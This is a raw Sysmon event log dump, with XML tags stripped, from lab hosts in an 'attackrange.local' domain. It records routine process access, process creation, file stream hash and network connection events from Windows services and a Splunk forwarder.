14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013663Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013662Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013661Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013660Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013659Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013658Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013657Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013656Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6F13-613B-8D04-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013655Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F13-613B-8D04-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013654Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.694{625C326B-6F13-613B-8D04-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013653Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.614{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A2C68502B3598B2797CE4B19B2A763A5,SHA256=184F2178598A42126FB78D75C598335F9A84139E5F609D18BC7D9C5AE357F880,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:29.480{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59208-false10.0.1.12-8000- 23542300x800000000000000038581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:31.929{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=AD3B62695AFAA70E51C754FCAF711950,SHA256=E46E85690675DDCBCC5F67C2F968F55CC507AD9F8AA6241405DECF91D5C3E47F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:31.835{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=349E17324A17CD66CD23153217CA9C4D,SHA256=43946898A401F7A62D1BE8E15256F2EE25276659B8F195DBE6B1BD6DC7935BB5,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:31.819{7BD73061-65B2-613B-1600-00000000F001}12966536C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2a2f2|C:\Windows\system32\wbem\wmiprvsd.dll+29e26|C:\Windows\system32\wbem\wmiprvsd.dll+28432|C:\Windows\system32\wbem\wmiprvsd.dll+57817|C:\Windows\system32\wbem\wmiprvsd.dll+8a475|C:\Windows\system32\wbem\wbemcore.dll+bcb3|C:\Windows\system32\wbem\wbemcore.dll+3393|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+2c9be|C:\Windows\system32\wbem\wbemcore.dll+202d8|C:\Windows\system32\wbem\wbemcore.dll+390e|C:\Windows\system32\wbem\wbemcore.dll+22bba|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:31.819{7BD73061-65B2-613B-1600-00000000F001}12966536C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2800-00000000F001}2860C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2597b|C:\Windows\system32\wbem\wmiprvsd.dll+283dc|C:\Windows\system32\wbem\wmiprvsd.dll+57817|C:\Windows\system32\wbem\wmiprvsd.dll+8a475|C:\Windows\system32\wbem\wbemcore.dll+bcb3|C:\Windows\system32\wbem\wbemcore.dll+3393|C:\Windows\system32\wbem\wbemcore.dll+22adf|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+2c9be|C:\Windows\system32\wbem\wbemcore.dll+202d8|C:\Windows\system32\wbem\wbemcore.dll+390e|C:\Windows\system32\wbem\wbemcore.dll+22bba|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000038577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:31.694{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2635DEDDBAE0A052621B460E5692F193,SHA256=D0B8AAD4387E2A588B728DEDF6C17717606BCFB8DF62A863EF3AC6AE9EF0B139,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:32.882{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=761D7D920801765377799927A6DCC58C,SHA256=8DF82E5A902195859B2E578157C4CBC04AC0017CBED36C374F4B2F68BDDD7F83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:32.741{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B425EF95CB90752B37EA682DB93A54B1,SHA256=441EAEE9E2DBDC34DD56065103E694860E0A9EC4B53B959ABDDB260B948813D7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013696Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A8606FDE0E8766A59C74CF9BA0E53B80,SHA256=2F5D3201E7C57D2E3E23C6B69055D03667031A7824DC0930246E3A33B0F40048,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013695Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E38E0398E9AB7672BF538C5DA0CE751,SHA256=E05D4CAA794835D29788945591E1E537400F46E4ECA1FA37B434B2A76168F991,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013694Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=42732F28C98A526FCC5AE0C75970AC51,SHA256=C54BFAC955CB92744E1DB9122643A5B3EF87BB215B9FFBF254760194D856F5CA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013693Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F14-613B-8F04-00000000F101}692C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013692Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013691Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013690Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013689Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013688Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013687Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:32.864{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013686Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 